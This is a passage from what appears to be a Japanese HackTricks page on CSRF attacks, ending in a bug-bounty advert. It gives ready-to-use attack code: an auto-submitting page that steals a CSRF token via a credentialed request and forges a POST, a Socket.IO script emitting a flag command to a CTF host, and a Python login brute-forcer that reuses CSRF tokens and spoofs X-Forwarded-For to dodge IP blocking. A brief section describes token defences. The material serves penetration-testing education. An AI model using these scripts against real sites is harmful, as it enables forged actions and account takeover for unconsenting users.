)にPOSTリクエストが送信されます。
この攻撃により、攻撃者はユーザーの意図しない資金移動などの操作を行うことができます。ユーザーは攻撃が発生していることに気付かずに、悪意のある操作が実行されます。
<body onload="getData()">
<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>
<script>
var x = new XMLHttpRequest();
function getData() {
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>
Socket.IOを使用したCSRF
Socket.IOは、Webアプリケーションでリアルタイムな双方向通信を実現するためのJavaScriptライブラリです。Socket.IOを使用して開発されたアプリケーションは、WebSocketをサポートしていないブラウザでも動作することができます。
CSRF(Cross-Site Request Forgery)は、攻撃者が被害者の代わりに意図しないリクエストを送信する攻撃手法です。Socket.IOを使用したアプリケーションでも、CSRF攻撃に対する対策が必要です。
Socket.IOでは、クライアントとサーバー間の通信にトークンを使用することで、CSRF攻撃を防ぐことができます。以下の手順で実装します。
- サーバー側で、セッションごとに一意のトークンを生成します。
- トークンをクライアントに送信し、クライアント側で保持します。
- クライアントがサーバーにリクエストを送信する際に、トークンをリクエストに含めます。
- サーバーは、受け取ったトークンが正当なものかどうかを検証します。
このようにすることで、攻撃者がトークンを知らない限り、CSRF攻撃を防ぐことができます。
Socket.IOを使用したアプリケーションでは、CSRF対策を実装することが重要です。セッションごとに一意のトークンを生成し、リクエストごとにトークンを検証することで、安全な通信を確保することができます。
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');
const username = 'admin'
socket.on('connect', () => {
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})
});
</script>
CSRFログインブルートフォース
このコードは、CSRFトークンを使用してログインフォームをブルートフォース攻撃するために使用できます(また、可能なIPブラックリスト回避のためにX-Forwarded-Forヘッダーも使用しています)。
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
ツール
参考文献
- https://portswigger.net/web-security/csrf
- https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html
![](/Mirrors/hacktricks/media/commit/c99e3f01271d9706331e3fea932f1c4dfdb10451/.gitbook/assets/image%20%281%29.png)
HackenProofはすべての暗号バグ報奨金の場です。
遅延なしで報酬を受け取る
HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
Web3ペンテストの経験を積む
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるweb3セキュリティをマスターしましょう。
Web3ハッカーレジェンドになる
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
HackenProofでサインアップ ハッキングから報酬を得ましょう!
{% embed url="https://hackenproof.com/register" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSをダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksグッズを手に入れましょう。
- 💬 DiscordグループまたはTelegramグループに参加するか、Twitter 🐦@carlospolopmをフォローしてください。
- ハッキングのトリックを共有するには、 hacktricks repo と hacktricks-cloud repo にPRを提出してください。